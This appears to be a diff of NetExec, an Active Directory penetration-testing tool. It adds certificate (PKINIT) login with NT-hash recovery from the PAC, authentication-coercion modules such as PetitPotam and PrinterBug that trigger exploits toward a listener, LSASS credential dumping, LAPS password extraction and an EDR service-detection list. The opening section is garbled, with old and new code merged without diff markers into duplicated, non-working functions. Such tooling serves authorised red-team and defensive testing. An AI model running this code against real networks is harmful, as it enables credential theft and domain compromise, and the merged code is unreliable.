return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
|
||||
|
||||
|
||||
class GETPAC:
|
||||
|
||||
def printPac(self, data, key=None):
|
||||
nthash = None
|
||||
encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
|
||||
adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
|
||||
0]
|
||||
# So here we have the PAC
|
||||
pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
|
||||
buff = pacType["Buffers"]
|
||||
found = False
|
||||
for _bufferN in range(pacType["cBuffers"]):
|
||||
infoBuffer = PAC_INFO_BUFFER(buff)
|
||||
data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
|
||||
nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}")
|
||||
if infoBuffer["ulType"] == 2:
|
||||
found = True
|
||||
credinfo = PAC_CREDENTIAL_INFO(data)
|
||||
newCipher = _enctype_table[credinfo["EncryptionType"]]
|
||||
out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
|
||||
type1 = TypeSerialization1(out)
|
||||
# I'm skipping here 4 bytes with its the ReferentID for the pointer
|
||||
newdata = out[len(type1) + 4:]
|
||||
pcc = PAC_CREDENTIAL_DATA(newdata)
|
||||
for cred in pcc["Credentials"]:
|
||||
credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
|
||||
|
||||
nxc_logger.info("Recovered NT Hash")
|
||||
nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
|
||||
nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
|
||||
|
||||
buff = buff[len(infoBuffer):]
|
||||
|
||||
if not found:
|
||||
nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
|
||||
return nthash
|
||||
|
||||
def __init__(self, username, domain, kdcHost, key, tgt):
|
||||
self.__username = username
|
||||
self.__domain = domain.upper()
|
||||
self.__kdcHost = kdcHost
|
||||
self.__asrep_key = key
|
||||
self.__tgt = tgt["KDC_REP"]
|
||||
self.__cipher = tgt["cipher"]
|
||||
self.__sessionKey = tgt["sessionKey"]
|
||||
|
||||
def dump(self):
|
||||
# Try all requested protocols until one works.
|
||||
tgt = self.__tgt
|
||||
cipher = self.__cipher
|
||||
sessionKey = self.__sessionKey
|
||||
|
||||
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
|
||||
|
||||
# Extract the ticket from the TGT
|
||||
ticket = Ticket()
|
||||
ticket.from_asn1(decodedTGT["ticket"])
|
||||
|
||||
apReq = AP_REQ()
|
||||
apReq["pvno"] = 5
|
||||
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
||||
|
||||
opts = []
|
||||
apReq["ap-options"] = constants.encodeFlags(opts)
|
||||
seq_set(apReq, "ticket", ticket.to_asn1)
|
||||
|
||||
authenticator = Authenticator()
|
||||
authenticator["authenticator-vno"] = 5
|
||||
authenticator["crealm"] = str(decodedTGT["crealm"])
|
||||
|
||||
clientName = Principal()
|
||||
clientName.from_asn1(decodedTGT, "crealm", "cname")
|
||||
|
||||
seq_set(authenticator, "cname", clientName.components_to_asn1)
|
||||
|
||||
now = datetime.datetime.utcnow()
|
||||
authenticator["cusec"] = now.microsecond
|
||||
authenticator["ctime"] = KerberosTime.to_asn1(now)
|
||||
|
||||
nxc_logger.debug("AUTHENTICATOR")
|
||||
nxc_logger.debug(authenticator.prettyPrint() + "\n")
|
||||
|
||||
encodedAuthenticator = encoder.encode(authenticator)
|
||||
|
||||
# Key Usage 7
|
||||
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
|
||||
# TGS authenticator subkey), encrypted with the TGS session
|
||||
# key (Section 5.5.1)
|
||||
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
|
||||
|
||||
apReq["authenticator"] = noValue
|
||||
apReq["authenticator"]["etype"] = cipher.enctype
|
||||
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
|
||||
|
||||
encodedApReq = encoder.encode(apReq)
|
||||
|
||||
tgsReq = TGS_REQ()
|
||||
|
||||
tgsReq["pvno"] = 5
|
||||
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
|
||||
|
||||
tgsReq["padata"] = noValue
|
||||
tgsReq["padata"][0] = noValue
|
||||
tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
|
||||
tgsReq["padata"][0]["padata-value"] = encodedApReq
|
||||
|
||||
reqBody = seq_set(tgsReq, "req-body")
|
||||
|
||||
opts = []
|
||||
opts.append(constants.KDCOptions.forwardable.value)
|
||||
opts.append(constants.KDCOptions.renewable.value)
|
||||
opts.append(constants.KDCOptions.canonicalize.value)
|
||||
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
|
||||
|
||||
reqBody["kdc-options"] = constants.encodeFlags(opts)
|
||||
|
||||
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
|
||||
|
||||
seq_set(reqBody, "sname", serverName.components_to_asn1)
|
||||
reqBody["realm"] = str(decodedTGT["crealm"])
|
||||
|
||||
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
|
||||
|
||||
reqBody["till"] = KerberosTime.to_asn1(now)
|
||||
reqBody["nonce"] = random.getrandbits(31)
|
||||
seq_set_iter(reqBody, "etype",
|
||||
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
|
||||
|
||||
myTicket = ticket.to_asn1(TicketAsn1())
|
||||
seq_set_iter(reqBody, "additional-tickets", (myTicket,))
|
||||
nxc_logger.debug("Final TGS")
|
||||
nxc_logger.debug(tgsReq.prettyPrint())
|
||||
|
||||
message = encoder.encode(tgsReq)
|
||||
nxc_logger.info("Requesting ticket to self with PAC")
|
||||
|
||||
r = sendReceive(message, self.__domain, self.__kdcHost)
|
||||
|
||||
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
|
||||
|
||||
nxc_logger.debug("TGS_REP")
|
||||
nxc_logger.debug(tgs.prettyPrint())
|
||||
|
||||
cipherText = tgs["ticket"]["enc-part"]["cipher"]
|
||||
|
||||
# Key Usage 2
|
||||
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
|
||||
# application session key), encrypted with the service key
|
||||
# (section 5.4.2)
|
||||
|
||||
# S4USelf + U2U uses this other key
|
||||
plainText = cipher.decrypt(sessionKey, 2, cipherText)
|
||||
specialkey = Key(18, unhexlify(self.__asrep_key))
|
||||
return self.printPac(plainText, specialkey)
|
||||
|
||||
|
||||
def pfx_auth(self):
|
||||
"""Handles the authentication using a PFX or PEM file"""
|
||||
# Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
|
||||
dhparams = {
|
||||
"p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
|
||||
"g": 2
|
||||
}
|
||||
self.logger.info("Loading certificate and key from file")
|
||||
|
||||
# Load the certificate and key from file
|
||||
decoded_tgt = decoder.decode(tgt, asn1Spec=AS_REP())[0]
|
||||
ticket = Ticket()
|
||||
ticket.from_asn1(decoded_tgt["ticket"])
|
||||
realm = str(decoded_tgt["crealm"])
|
||||
now = datetime.datetime.now(datetime.UTC)
|
||||
|
||||
client_name = Principal()
|
||||
client_name.from_asn1(decoded_tgt, "crealm", "cname")
|
||||
|
||||
authenticator = Authenticator()
|
||||
authenticator["authenticator-vno"] = 5
|
||||
authenticator["crealm"] = realm
|
||||
seq_set(authenticator, "cname", client_name.components_to_asn1)
|
||||
authenticator["cusec"] = now.microsecond
|
||||
authenticator["ctime"] = KerberosTime.to_asn1(now)
|
||||
connection.logger.debug(f"U2U authenticator: {authenticator.prettyPrint()}")
|
||||
|
||||
ap_req = AP_REQ()
|
||||
ap_req["pvno"] = 5
|
||||
ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
||||
ap_req["ap-options"] = constants.encodeFlags([])
|
||||
seq_set(ap_req, "ticket", ticket.to_asn1)
|
||||
ap_req["authenticator"] = noValue
|
||||
ap_req["authenticator"]["etype"] = cipher.enctype
|
||||
# Key usage 7: the AP-REQ authenticator of a PA-TGS-REQ, encrypted with the TGT session key
|
||||
ap_req["authenticator"]["cipher"] = cipher.encrypt(session_key, 7, encoder.encode(authenticator), None)
|
||||
|
||||
tgs_req = TGS_REQ()
|
||||
tgs_req["pvno"] = 5
|
||||
tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
|
||||
tgs_req["padata"] = noValue
|
||||
tgs_req["padata"][0] = noValue
|
||||
tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
|
||||
tgs_req["padata"][0]["padata-value"] = encoder.encode(ap_req)
|
||||
|
||||
req_body = seq_set(tgs_req, "req-body")
|
||||
req_body["kdc-options"] = constants.encodeFlags([constants.KDCOptions.forwardable.value, constants.KDCOptions.renewable.value, constants.KDCOptions.canonicalize.value, constants.KDCOptions.enc_tkt_in_skey.value])
|
||||
req_body["realm"] = realm
|
||||
seq_set(req_body, "sname", Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value).components_to_asn1)
|
||||
req_body["till"] = KerberosTime.to_asn1(now + datetime.timedelta(days=1))
|
||||
req_body["nonce"] = random.getrandbits(31)
|
||||
seq_set_iter(req_body, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
|
||||
seq_set_iter(req_body, "additional-tickets", (ticket.to_asn1(TicketAsn1()),))
|
||||
|
||||
connection.logger.info("Requesting a U2U service ticket to ourselves to read the PAC")
|
||||
try:
|
||||
if self.args.pfx_cert or self.args.pfx_base64:
|
||||
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
|
||||
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
|
||||
elif self.args.pem_cert and self.args.pem_key:
|
||||
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
|
||||
else:
|
||||
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
|
||||
return None
|
||||
response = sendReceive(encoder.encode(tgs_req), connection.domain, connection.kdcHost)
|
||||
tgs_rep = decoder.decode(response, asn1Spec=TGS_REP())[0]
|
||||
connection.logger.debug(f"U2U TGS-REP: {tgs_rep.prettyPrint()}")
|
||||
# Key usage 2: with enc-tkt-in-skey the ticket is encrypted with the session key of the TGT sent along
|
||||
enc_ticket_part = cipher.decrypt(session_key, 2, tgs_rep["ticket"]["enc-part"]["cipher"])
|
||||
return read_nt_hash_from_pac(connection, enc_ticket_part, reply_key)
|
||||
except (KerberosError, InvalidChecksum, PyAsn1Error, OSError, IndexError, KeyError) as e: # IndexError: empty AD-IF-RELEVANT, KeyError: unknown etype
|
||||
connection.logger.fail(f"Failed to unPAC the hash: {e}")
|
||||
return None
|
||||
|
||||
|
||||
def pfx_auth(self, domain, username):
|
||||
"""Authenticate with a client certificate through PKINIT, then optionally unPAC the NT hash"""
|
||||
if not self.kdcHost:
|
||||
self.logger.fail(f"Could not resolve KDC host for domain {domain}. Use --kdcHost to specify the domain controller IP")
|
||||
return False
|
||||
|
||||
self.logger.info("Loading certificate and key from file")
|
||||
try:
|
||||
credentials = pkinit_credentials(self.args)
|
||||
except FileNotFoundError as e:
|
||||
self.logger.fail(f"Certificate or key file not found: {e.filename}")
|
||||
return False
|
||||
except Exception as e:
|
||||
except (PKINITError, ValueError) as e:
|
||||
self.logger.fail(f"Failed to load certificate/key: {e}")
|
||||
return False
|
||||
|
||||
username = self.args.username[0]
|
||||
basename = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache")
|
||||
log_ccache = os.path.normpath(os.path.expanduser(os.path.join(NXC_PATH, "logs", basename)))
|
||||
|
||||
# Request a TGT with the cert data
|
||||
req = ini.build_asreq(self.domain, username)
|
||||
self.logger.info("Requesting TGT")
|
||||
|
||||
if not self.kdcHost:
|
||||
self.logger.fail(f"Could not resolve KDC host for domain {self.domain}. Use --kdcHost to specify the domain controller IP")
|
||||
if credentials is None:
|
||||
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
|
||||
return False
|
||||
|
||||
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
|
||||
self.logger.info(f"Requesting TGT for {username}@{domain} with the certificate")
|
||||
client_name = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
try:
|
||||
res = sock.sendrecv(req)
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
tgt, cipher, reply_key, session_key = getKerberosTGTPKINIT(client_name, domain, credentials, kdcHost=self.kdcHost)
|
||||
except (PKINITError, KerberosError, OSError) as e:
|
||||
self.logger.fail(f"Failed to get a TGT with the certificate: {e}")
|
||||
return False
|
||||
|
||||
encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
|
||||
ccache_minikerberos = CCACHE()
|
||||
ccache_minikerberos.add_tgt(res.native, encasrep)
|
||||
ccache_minikerberos.to_file(log_ccache)
|
||||
self.logger.info(f"Saved TGT to file {log_ccache}")
|
||||
self.logger.info(f"Using Kerberos Cache {log_ccache}")
|
||||
ccache = impacket_CCache.loadFile(log_ccache)
|
||||
principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
|
||||
creds = ccache.getCredential(principal)
|
||||
if creds is not None:
|
||||
tgt = creds.toTGT()
|
||||
dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
|
||||
nthash = dumper.dump()
|
||||
if not self.kerberos:
|
||||
self.hash_login(self.domain, username, nthash)
|
||||
else:
|
||||
self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
|
||||
ccache = CCache()
|
||||
ccache.fromTGT(tgt, reply_key, session_key)
|
||||
basename = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache")
|
||||
ccache_path = os.path.normpath(os.path.expanduser(os.path.join(NXC_PATH, "logs", basename)))
|
||||
ccache.saveFile(ccache_path)
|
||||
self.logger.info(f"Saved TGT to {ccache_path}")
|
||||
|
||||
self.logger.info("Successfully authenticated using Certificate")
|
||||
return True
|
||||
if self.protocol == "winrm": # nxc winrm has no Kerberos login: log in over NTLM with the unPACed hash, as before
|
||||
nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
|
||||
return bool(nthash) and self.hash_login(domain, username, nthash)
|
||||
|
||||
# Impacket reads the TGT of a Kerberos login from the cache this variable points at, for the whole process
|
||||
os.environ["KRB5CCNAME"] = ccache_path
|
||||
self.use_kcache = True
|
||||
logged_in = self.kerberos_login(domain, username, "", "", "", self.kdcHost, True)
|
||||
|
||||
if self.protocol == "smb" and self.args.unpac:
|
||||
nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
|
||||
if nthash:
|
||||
self.logger.highlight(f"{domain}\\{username} NT hash: {nthash}")
|
||||
self.db.add_credential("hash", domain, username, nthash)
|
||||
|
||||
return logged_in
|
||||
|
||||
|
||||
def certificate_options(args):
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
|
||||
def get_smb_connection(context, connection, timeout=3):
|
||||
"""SMB session reusing the credentials of the current connection, or None when it cannot be established.
|
||||
|
||||
A certificate-only bind (--schannel) leaves no secret behind, and logging in without
|
||||
one would count as a bad password attempt on the target, so no session is attempted.
|
||||
"""
|
||||
if not connection.has_reusable_secret:
|
||||
context.log.fail("Cannot open an SMB session: a certificate-only bind (--schannel) provides no password, hash or Kerberos ticket")
|
||||
return None
|
||||
|
||||
smb = SMBConnection(remoteName=connection.remoteName, remoteHost=connection.host, sess_port=445, timeout=timeout)
|
||||
if connection.kerberos:
|
||||
smb.kerberosLogin(user=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, aesKey=connection.aesKey, kdcHost=connection.kdcHost, useCache=connection.use_kcache)
|
||||
elif connection.nthash or connection.lmhash:
|
||||
smb.login(connection.username, "", connection.domain, lmhash=connection.lmhash, nthash=connection.nthash)
|
||||
else:
|
||||
smb.login(connection.username, connection.password, connection.domain)
|
||||
return smb
|
||||
@@ -1,3 +1,4 @@
|
||||
import ast
|
||||
import nxc
|
||||
import importlib
|
||||
import traceback
|
||||
@@ -6,6 +7,7 @@ import sys
|
||||
from os import listdir
|
||||
from os.path import basename, dirname
|
||||
from os.path import join as path_join
|
||||
from types import SimpleNamespace
|
||||
|
||||
from nxc.context import Context
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
@@ -75,12 +77,9 @@ class ModuleLoader:
|
||||
return cls.module_cache[module_path]
|
||||
|
||||
def load_module(self, module_path):
|
||||
"""Load a module, initializing it and checking that it has the proper attributes"""
|
||||
"""Load and initialize a module, list_modules() already checked that it has the proper attributes"""
|
||||
try:
|
||||
module = self.load_module_file(module_path).NXCModule()
|
||||
|
||||
if self.module_is_sane(module, module_path):
|
||||
return module
|
||||
return self.load_module_file(module_path).NXCModule()
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed loading module at {module_path}: {e}")
|
||||
self.logger.debug(traceback.format_exc())
|
||||
@@ -132,8 +131,28 @@ class ModuleLoader:
|
||||
self.logger.fail(f"Failed loading module at {module_path}: {e}")
|
||||
self.logger.debug(traceback.format_exc())
|
||||
|
||||
def list_modules(self):
|
||||
"""List modules without initializing them"""
|
||||
def get_module_info_static(self, module_path):
|
||||
"""Read the listing info of a module from its source without running it, falling back to get_module_info() if it is not plain literals"""
|
||||
try:
|
||||
with open(module_path, "rb") as f:
|
||||
module_class = [node for node in ast.parse(f.read()).body if isinstance(node, ast.ClassDef) and node.name == "NXCModule"][-1]
|
||||
|
||||
# ast can't see what a base class or a decorator adds, so these modules are imported
|
||||
if not module_class.bases and not module_class.decorator_list:
|
||||
values = {target.id: node.value for node in module_class.body if isinstance(node, ast.Assign) for target in node.targets if isinstance(target, ast.Name)}
|
||||
module = SimpleNamespace(
|
||||
**{node.name: node for node in module_class.body if isinstance(node, ast.FunctionDef | ast.AsyncFunctionDef)},
|
||||
**{key: ast.literal_eval(values[key]) for key in ("name", "description", "supported_protocols")},
|
||||
category=CATEGORY[values["category"].attr],
|
||||
)
|
||||
# No "options" key on purpose: only -M --options reads it, and -M goes through get_module_info()
|
||||
return {module.name: {"path": module_path, "description": module.description, "supported_protocols": module.supported_protocols, "category": module.category, "requires_admin": hasattr(module, "on_admin_login")}} if self.module_is_sane(module, module_path) else {}
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Could not read {module_path} statically: {e}")
|
||||
return self.get_module_info(module_path)
|
||||
|
||||
def list_modules(self, names=None):
|
||||
"""List modules without initializing them, only the ones in names if given"""
|
||||
modules = {}
|
||||
modules_paths = [
|
||||
path_join(dirname(nxc.__file__), "modules"),
|
||||
@@ -142,10 +161,11 @@ class ModuleLoader:
|
||||
|
||||
for path in modules_paths:
|
||||
for module in listdir(path):
|
||||
if module[-3:] == ".py" and module != "example_module.py":
|
||||
if module[-3:] == ".py" and module != "example_module.py" and (names is None or module[:-3] in names):
|
||||
try:
|
||||
module_path = path_join(path, module)
|
||||
module_data = self.get_module_info(module_path)
|
||||
# -L reads the shipped modules statically, user modules are still imported so a broken one is reported
|
||||
module_data = self.get_module_info_static(module_path) if names is None and path == modules_paths[0] else self.get_module_info(module_path)
|
||||
modules.update(module_data)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error loading module {module}: {e}")
|
||||
|
||||
@@ -89,7 +89,7 @@ class NXCModule:
|
||||
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=False)
|
||||
except Exception as e:
|
||||
# Handle specific errors like password expiration or must be change
|
||||
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e):
|
||||
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e) or "STATUS_USER_SESSION_DELETED" in str(e):
|
||||
context.log.warning("Password must be changed. Trying with null session.")
|
||||
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=True)
|
||||
elif "STATUS_LOGON_FAILURE" in str(e):
|
||||
|
||||
@@ -48,14 +48,13 @@ class NXCModule:
|
||||
"""DFSCOERCE START"""
|
||||
try:
|
||||
dfscocerceclass = DFSCoerceTrigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
dfscocerceconnect = dfscocerceclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=target,
|
||||
target=connection.remoteName,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
@@ -79,14 +78,13 @@ class NXCModule:
|
||||
""" ShadowCoerce START """
|
||||
try:
|
||||
shadowcocerceclass = ShadowCoerceTrigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
shadowcocerceconnect = shadowcocerceclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=target,
|
||||
target=connection.remoteName,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
@@ -114,14 +112,13 @@ class NXCModule:
|
||||
context.log.debug(f"Trying to connect to {pipe} pipe")
|
||||
try:
|
||||
petitpotamclass = PetitPotamtTrigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
petitpotamconnect = petitpotamclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=target,
|
||||
target=connection.remoteName,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
@@ -151,14 +148,13 @@ class NXCModule:
|
||||
for pipe in pipes:
|
||||
try:
|
||||
printerbugclass = PrinterBugTrigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
printerbugconnect = printerbugclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=target,
|
||||
target=connection.remoteName,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
@@ -169,7 +165,7 @@ class NXCModule:
|
||||
context.log.debug("Target is vulnerable to PrinterBug")
|
||||
context.log.highlight("VULNERABLE, PrinterBug")
|
||||
if self.listener is not None: # exploit
|
||||
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe)
|
||||
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, connection.remoteName, self.always_continue, pipe)
|
||||
if not self.always_continue and exploit_status:
|
||||
break
|
||||
printerbugconnect.disconnect()
|
||||
@@ -184,14 +180,13 @@ class NXCModule:
|
||||
""" MSEVEN START """
|
||||
try:
|
||||
msevenclass = MSEvenTrigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
msevenconnect = msevenclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=target,
|
||||
target=connection.remoteName,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
|
||||
@@ -127,6 +127,14 @@ conf = {
|
||||
"services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Arctic Wolf",
|
||||
"services": [
|
||||
{"name": "AwWfpService", "description": "Arctic Wolf Agent Containment"},
|
||||
{"name": "ArcticWolfAgentMgr", "description": "Arctic Wolf Agent Manager"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Avast / AVG",
|
||||
"services": [
|
||||
|
||||
@@ -36,6 +36,7 @@ class NXCModule:
|
||||
- CVE-2024-49019 (EKUwu / ESC15)
|
||||
- CVE-2026-54121 (Certighost)
|
||||
- CVE-2026-27912 (ResetNightmare)
|
||||
- CVE-2026-102217 (PetitPotam WebDAV coercion)
|
||||
|
||||
CVE Filter for specific CVE number (default: All)
|
||||
EXPLOITATION Also provide sources for exploitation details (default: False)
|
||||
@@ -221,4 +222,24 @@ class NXCModule:
|
||||
"message": "Password reset of any account possible via Kerberos change password abuse",
|
||||
"exploitation": "https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/",
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102217
|
||||
"CVE-2026-102217": {
|
||||
"alias": "PetitPotam WebDAV coercion",
|
||||
"patches": {
|
||||
(6, 2, 9200): 26434, # Windows Server 2012
|
||||
(6, 3, 9600): 23470, # Windows Server 2012 R2
|
||||
(10, 0, 14393): 9612, # Windows Server 2016
|
||||
(10, 0, 17763): 9376, # Windows Server 2019
|
||||
(10, 0, 19044): 7807, # Windows 10 21H2
|
||||
(10, 0, 19045): 7807, # Windows 10 22H2
|
||||
(10, 0, 20348): 5761, # Windows Server 2022
|
||||
(10, 0, 22631): 7652, # Windows 11 23H2
|
||||
(10, 0, 26100): 33650, # Windows Server 2025 (Win11 24H2 ships the same build patched at 9711)
|
||||
(10, 0, 26200): 9711, # Windows 11 25H2
|
||||
(10, 0, 26300): 9711, # Windows 11 26H2
|
||||
(10, 0, 28000): 3231, # Windows 11 26H1
|
||||
},
|
||||
"message": "PetitPotam (EFSRPC) can coerce to a WebDAV listener, the HTTP authentication can be relayed to LDAP/LDAPS",
|
||||
"exploitation": "https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient",
|
||||
},
|
||||
}
|
||||
@@ -198,9 +198,20 @@ class NXCModule:
|
||||
if file is None:
|
||||
context.log.fail("Unable to dump lsass")
|
||||
return False
|
||||
credentials, tickets, masterkeys = Parser(host, file).parse()
|
||||
file.close()
|
||||
ImpacketFile.delete(session, file.get_file_path())
|
||||
try:
|
||||
parsed = Parser(host, file).parse()
|
||||
finally:
|
||||
# Delete the remote file even when parsing failed, and even if closing it fails
|
||||
try:
|
||||
file.close()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error closing dumper file: {e}")
|
||||
if not ImpacketFile.delete(session, file.get_file_path()):
|
||||
context.log.fail(f"[OPSEC] Failed to delete lsassy dumper file: {file.get_file_path()}")
|
||||
if parsed is None:
|
||||
context.log.fail("Unable to parse lsass dump")
|
||||
return False
|
||||
credentials, tickets, masterkeys = parsed
|
||||
if credentials is None:
|
||||
credentials = []
|
||||
credentials = [cred.get_object() for cred in credentials if not cred.get_username().endswith("$")]
|
||||
@@ -246,7 +257,9 @@ class NXCModule:
|
||||
connection.nthash = user[1]
|
||||
connection.nthash = user[1]
|
||||
try:
|
||||
self.run_lsassy(context, connection, cursor)
|
||||
if self.run_lsassy(context, connection, cursor) is False:
|
||||
context.log.fail(f"Failed to dump lsassy on {pc[0]}")
|
||||
continue
|
||||
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name = ?", [pc[0]])
|
||||
|
||||
process_creds(
|
||||
|
||||
+4
-1
@@ -45,12 +45,15 @@ class NXCModule:
|
||||
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
|
||||
if "mslaps-encryptedpassword" in values:
|
||||
msMCSAdmPwd = values["mslaps-encryptedpassword"]
|
||||
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
|
||||
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server, connection.host, connection.remoteName, connection.aesKey)
|
||||
try:
|
||||
data = d.run()
|
||||
except Exception as e:
|
||||
context.log.fail(str(e))
|
||||
continue
|
||||
if not data:
|
||||
context.log.fail(f"Failed to decrypt msLAPS-EncryptedPassword for {values['samaccountname']}")
|
||||
continue
|
||||
r = json.loads(data)
|
||||
laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
|
||||
elif "mslaps-password" in values:
|
||||
|
||||
+14
-13
@@ -89,23 +89,24 @@ class NXCModule:
|
||||
context.log.fail("Unable to dump lsass")
|
||||
return False
|
||||
|
||||
parsed = Parser(host, file).parse()
|
||||
try:
|
